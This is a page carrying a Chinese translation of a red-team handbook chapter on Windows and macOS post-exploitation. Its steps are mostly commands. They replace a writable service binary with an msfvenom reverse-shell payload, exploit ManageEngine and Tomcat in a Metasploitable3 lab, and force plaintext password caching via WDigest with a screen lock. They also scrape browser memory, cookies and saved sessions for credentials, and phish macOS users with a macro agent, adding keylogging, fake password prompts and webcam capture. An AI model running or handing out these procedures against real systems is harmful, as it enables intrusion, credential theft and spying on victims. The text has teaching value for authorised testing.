4.7 权限提升
从常规用户升级到特权账户有很多不同的方法。
下面介绍一下不带引号的服务路径漏洞。
- 这是一个相当简单和常见的漏洞,服务可执行文件路径未被引号括起。因为在路径周围没有引号,所以我们可以利用这个服务。假设我们有一个配置为执行 C:\Program Files (x86)\Cyber Kittens\Cyber Kittens.exe 的服务。如果具有 Cyber Kittens 文件夹写权限,那么我们可以将恶意软件放到目录 C:\Program Files (x86)\Cyber Kittens\Cyber.exe(注意,缺少 Kittens.exe)。如果服务随系统启动执行,我们可以等到服务重新启动,并将恶意软件以特权账户运行。
- 如何查找易受攻击的服务路径。
- wmic service get name,displayname,pathname,startmode |findstr/i "Auto" |findstr/i/v "C:\Windows\" |findstr/i/v """
- 查找 BINARY_PATH_NAME
查找不安全的服务注册表权限。
- 识别允许更新服务映像路径位置的权限漏洞。
检查 AlwaysInstallElevated 注册表项是否启用。
- 检查 AlwaysInstallElevated 注册表项,该注册表项标识是否使用提升的权限安装.MSI 文件(NT AUTHORITY \ SYSTEM)。
请注意,我们并不需要手动执行这些操作,Windows 中的 Metasploit 和 PowerShell 工具模块已经实现该功能。在下面的示例中,我们将介绍 PowerUp PowerShell 脚本。在这种情况下,脚本随着 Empire 一起运行,并将检查所有常见的错误配置区域,找到允许常规用户获取本地管理或系统账户的漏洞。在图 4.11 所示的示例中,我们在被攻击者系统中运行脚本,并发现本地系统存在未加引号的服务路径漏洞。现在,我们可能无法重新启动该服务,但我们应该能够利用此漏洞并等待重新启动。
- Empire 通电模块。
- usermodule privesc/powerup/allchecks
立刻显示的内容。
ServiceName : WavesSysSvc
Path : C:\Program
Files\Waves\MaxxAudio\WavesSysSvc64.exe
ModifiableFile : C:\Program
Files\Waves\MaxxAudio\WavesSysSvc64.exe
ModifiableFilePermissions : {WriteOwner, Delete, WriteAttributes, Synchronize...}
ModifiableFileIdentityReference : Everyone
StartName : LocalSystem
对于 WavesSysSyc 服务,似乎每个用户都具有写权限,这意味着可以用恶意二进制文件替换 WaveSysSvc64.exe 文件。
图 4.11
- 创建 Meterpreter 二进制文件(稍后将讨论如何绕过杀毒软件)。
- msfvenom -p windows/meterpreter/reverse_https LHOST = [ip] LPORT = 8080 -f exe> shell.exe
- 使用 Empire 上传二进制文件并替换原始二进制文件。
- upload ./shell.exe C:\users\test\shell.exe
- shell copy C:\users\test\Desktop\shell.exe "C:\ProgramFiles\Waves\MaxxAudio\ WavesSysSvc64.exe"
- 重新启动服务或等待系统重新启动。
一旦服务重新启动,Meterpreter Shell 将具有系统权限!使用 PowerUp,您会发现许多容易受到权限提升影响的服务。
对于未修补的 Windows 系统,确实存在权限提升漏洞,但是如何快速识别 Windows 系统上安装的补丁?我们可以在被攻击者系统上,使用默认命令来查看安装了哪些服务包。利用 Windows 内置命令“systeminfo”,可以获取 Windows 主机所有修补程序历史记录。根据命令输出,将这些历史记录推送到 Kali 系统中,运行 Windows Exploit Suggester 来查找针对这些漏洞的漏洞利用程序,如图 4.12 所示。
图 4.12
返回 Windows 10 被攻击者系统。
- systeminfo。
- systeminfo > windows.txt。
- 将 windows.txt 复制到 Kali 系统的/opt/Windows-Exploit-Suggester 目录。
- python ./windows-exploit-suggester.py -i ./windows.txt -d 2018-03-21-mssb.xls。
这个工具已经一段时间没有主动更新了,但您可以轻松找到权限提升漏洞。
如果在一个已打好补丁的 Windows 环境中,我们会关注第三方软件中的权限提升漏洞或操作系统的任何 0-day/新漏洞。例如,我们一直在挖掘 Windows 中的权限提升漏洞,漏洞在本书写作之时未打补丁。在这种情况下,通常可能存在一些基本的漏洞演示代码,但是我们需要测试,验证并多次完成攻击。我们定期检测公共权限提升漏洞的一些区域。
通常,这只是时间问题。例如,从发现漏洞到打上补丁,您只有有限的时间和机会可以突破系统。
4.7.1 权限提升实验
测试和尝试不同权限提升漏洞的较好的实验环境是 Metasploitable3,由 Rapid7 提供。这个存在漏洞的框架会自动构建一个 Windows 虚拟机,包含了所有常见漏洞和一些不常见的漏洞。它需要进行一些设置,但是虚拟机配置完成后,它就是一个很棒的测试实验环境。
下面介绍一个示例,帮助您快速入门。
- 使用 Nmap 工具扫描 Metasploitable3 设备(确保扫描所有端口,否则可能遗漏一些端口)。
- 您将在端口 8383 上看到 ManageEngine 正在运行。
- 启动 Metasploit 并搜索任何 ManageEngine 漏洞。
- msfconsole
- search manageengine
- use exploit/windows/http/manageengine_connectionid_write
- set SSL True
- set RPORT 8383
- set RHOST <Your IP>
- exploit
- getsystem
- 您会发现无法访问系统,因为受到攻击的服务不是特权进程。您可以在此处尝试所有不同的权限提升攻击方式。
- 我们发现 Apache Tomcat 作为特权进程正在运行。如果利用该服务,那么我们的静荷将以高权限执行。Apache Tomcat 运行在端口 8282 上,但访问需要用户名和密码。由于已经有一个用户 Shell,因此我们可以尝试在磁盘上搜索密码。我们可以在互联网中搜索“Where are Tomcat Passwords Stored”,结果是 tomcat-users.xml。
- 在被攻击者设备中,搜索和读取 tomcat-users.xml 文件。
- shell
- cd \ && dir/s tomcat-users.xml
- type "C:\Program Files\Apache Software
Foundation\tomcat\apache-tomcat-8.0.33\conf\tomcat-users.xml"
- 现在使用获取的密码攻击 Tomcat。首先,登录到端口 8282 上的 Tomcat 管理控制台,查看密码是否正常工作。然后使用 Metasploit,通过 Tomcat 部署恶意 WAR 文件。
- search tomcat
- use exploit/multi/http/tomcat_mgr_upload
- show options
- set HTTPusername sploit
- set HTTPpassword sploit
- set RPORT 8282
- set RHOST <Metasploitable3_IP>
- set Payload java/shell_reverse_tcp
- set LHOST <Your IP>
- exploit
- whoami
- 您现在具有系统权限。我们使用第三方工具将权限提升到系统权限。
4.7.2 从内存中提取明文文本凭证
Mimikatz 工具已经存在了一段时间,在获取明文密码方面改变了游戏规则。在 Windows 10 之前,在主机上以管理员身份运行 Mimikatz 工具,攻击者可以从 LSASS(本地安全子系统)中提取明文密码。这种方法非常有效,直到 Windows 10 出现,即使本地管理员也无法读取明文密码。现在,我看到一些有趣的用法,单点登录(SSO)或一些特殊的软件将密码放在 LSASS 中,Mimikatz 可以读取密码,但我们现在不考虑这种情况。在本章中,我们将讨论当 Mimikatz 工具不起作用时该怎么做(如在 Windows 10 操作系统中)。
假设您已经突破了 Windows 10 工作站,并将权限提升为本地管理员。在默认情况下,您可以启动 Mimikatz,输入下面的查询命令,查看密码字段,发现为 null,如图 4.13 所示。
图 4.13
那么,您可以做什么?比较简单的选择是设置注册表项,将密码放到 LSASS 中。在 HKLM 中,有一个 UseLogonCredential 项,如果设置为 0,则会将凭证存储在内存中。
- reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest/v UseLogonCredential/t REG_DWORD/d 1/f。
- 使用 Empire 工具,我们可以在 Shell 中运行这个命令。
- shell reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\ WDigest/v UseLogonCredential/t REG_DWORD/d 1/f
这样设置的问题是我们需要用户重新登录系统。这可能导致屏幕超时、重新启动或注销,然后您才可以再次捕获明文凭证。比较简单的方法是锁定工作站(这样它们就不会丢失任何工作……)。触发锁定屏幕操作如下。
- rundll32.exe user32.dll,LockWorkStation。
一旦导致锁定屏幕,并且用户重新登录,我们就可以重新运行 Mimikatz 获取明文密码,如图 4.14 所示。
图 4.14
如果我们无法获得本地管理账户怎么办?有什么其他方法获取用户的凭证?回想之前的方法,常见的测试攻击需要查看胖客户端的用户空间内存,查看能否发现明文形式的凭证。现在一切都是基于浏览器的,我们可以在浏览器中做同样的事情吗?
安全研究人员 putterpanda 提供了一个很不错的原型验证风格工具来实现这个功能,该工具称为 Mimikittenz。Mimikittenz 工具的功能是利用 Windows 函数 ReadProcessMemory() 从各种目标进程(如浏览器)中提取纯文本密码。
Mimikittenz 为 Gmail、Office 365、Outlook Web、Jira、GitHub、Bugzilla、Zendesk、Cpanel、Dropbox、Microsoft OneDrive、AWS Web Services、Slack、Twitter 和 Facebook 提供了大量内存搜索查询的方法。您也可以在 Mimikittenz 中轻松地设计出自己的搜索方法。
Mimikittenz 的最大优点是它不需要本地管理员访问权限,因为它访问的是所有用户空间内存。一旦突破了主机,我们就可以将 Mimikittenz 导入内存,然后运行 Invoke- mimikittenz 脚本。
如图 4.15 所示,用户使用 Firefox 浏览器登录到 GitHub,我们可以从浏览器的内存中提取用户名和密码。现在,我希望每个进行模拟攻击的读者都可以将此工具提升到新的水平,并为不同的应用程序创建更多的搜索查询方法。
图 4.15
4.7.3 从 Windows 凭证存储中心和浏览器中获取密码
Windows 凭证存储中心是 Windows 的默认功能,它为系统、网站和服务器保存用户名、密码和证书。当您使用 Microsoft IE/Edge 对网站进行身份验证时,通常会弹出一个提示“是否要保存密码?”的窗口。凭证存储中心是存储密码的地方。在证书管理器中,有两种类型的凭证:网站和 Windows。您记得什么用户有权访问这些数据吗?不是系统用户,而是登录的用户可以获取此信息,如图 4.16 所示。这对我们来说很有利,就像任何网络钓鱼或代码执行攻击一样,我们通常具有被攻击者的权限。我们甚至不需要成为本地管理员就可以提取这些数据。
图 4.16
如何提取这些信息?我们可以导入两个不同的 PowerShell 脚本来搜集这些数据,如图 4.17 所示。
- 获取网站凭证。
- 获取 Windows 凭证(类型仅是常用主机,而不是域主机)。
正如您从转储数据中看到的那样,我们同时提取了 Facebook 凭证以及内存中存储的任何通用凭证。请记住,对于网站凭证,Get-WebCredentials 仅从 Internet Explorer/Edge 获取密码。如果我们需要从 Chrome 中获取凭证,那么可以使用 Empire 静荷 powershell/collection/ ChromeDump。为了让 ChromeDump 脚本工作,您首先需要终止 Chrome 进程,然后运行 ChromeDump。最后,我喜欢提取所有浏览器历史记录和 Cookie。我们不仅可以了解它们的内部服务器,而且,如果会话仍然存在,那么我们可以使用 Cookie 并在不知道密码的情况下进行身份鉴权!
图 4.17
如图 4.18 所示,使用 PowerShell 脚本,我们可以提取所有浏览器 Cookie,并在我们的浏览器中使用这些 Cookie,所有这些都不需要提升权限。
图 4.18
接下来,我们甚至可以开始在被攻击者系统上安装的所有第三方软件中查找服务器和凭证。SessionGopher 工具可以从 WinSCP、PuTTY、SuperPuTTY、FileZilla 和 Microsoft 远程桌面获取主机名和保存的密码。这个工具的另外一个功能是能够从网络上的其他系统远程获取本地凭证。启动 SessionGopher 的简单方法是导入 PowerShell 脚本并使用以下命令执行。
- 导入 PowerShell 文件。
- . .\SessionGopher.ps1
- 执行 SessionGopher 工具。
- Invoke-SessionGopher -Thorough
我们从主机系统获取凭证的这些方法,无须权限提升、绕过 UAC 或运行键盘记录器。由于处在用户环境中,因此我们可以访问主机的许多资源,从而帮助我们继续渗透。
4.7.4 从 macOS 中获取本地凭证和信息
本书中的大多数横向移动都集中在 Windows,这是因为几乎所有大中型单位都使用活动目录管理系统和主机。我们可能会越来越多地遇到 Mac 主机,因此在本书内容中也包括 Mac 主机。一旦进入 Mac 主机环境,许多攻击就与 Windows 的情况类似了(举个例子,扫描默认口令、Jenkin/应用程序攻击、嗅探网络以及通过 SSH 或 VNC 横向移动)。
在 Empire 中,有一些 macOS 的静荷也是我比较喜欢的工具。Empire 可以生成多个静荷,诱骗被攻击者执行我们的代理。这些静荷包括 ducky 脚本、应用程序、Office 宏、Safari 启动器和 pkgs 等。例如,我们可以在 PowerShell Empire 中创建一个 Office 宏,类似于在 Windows 中所做的,如图 4.19 所示。
(1)启动 Empire。
(2)首先,确保像我们在本书开头介绍的那样设置您的 Empire 监听器。
(3)接下来,构建一个 macOS 宏静荷。
- usestager osx/macro
(4)设置 OutFile,写入您的本地文件系统。
- set OutFile/tmp/mac.py
(5)生成静荷。
图 4.19
如果查看生成的 Office 宏,那么您将看到它采用 Base64 代码,由 Python 执行。对我们来说,幸运的是,Python 是 macOS 上的默认应用程序,当执行 Office 宏时,我们应该获得代理回连。
在 macOS 中创建恶意的 Excel 文件,我们打开新的 Excel 工作表,转到工具,查看宏,在此工作簿中创建宏,当 Microsoft Visual Basic 打开时,删除所有当前代码并将其替换为所有新的宏代码。最后,将其另存为 xlsm 文件,如图 4.20 所示。
图 4.20
现在,将恶意文件发送给被攻击者,并查看 Empire 代理回连到系统。在被攻击者方面,当他们打开 Excel 文件时,显示的内容如图 4.21 所示。
图 4.21
您要确保提供一个合理的理由,让被攻击者单击启用宏。
一旦代理回连到您的 Empire 服务器,侦查阶段的操作就非常相似了。我们需要执行以下操作。
- 转储浏览器信息和密码:usemodule collection/osx/browser_dump。
- 启用键盘记录:usemodule collection/osx/keylogger。
- 应用程序弹出对话框捕获密码:usemodule collection/osx/prompt。
- 使用他们的相机拍摄照片:usemodule collection/osx/webcam。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论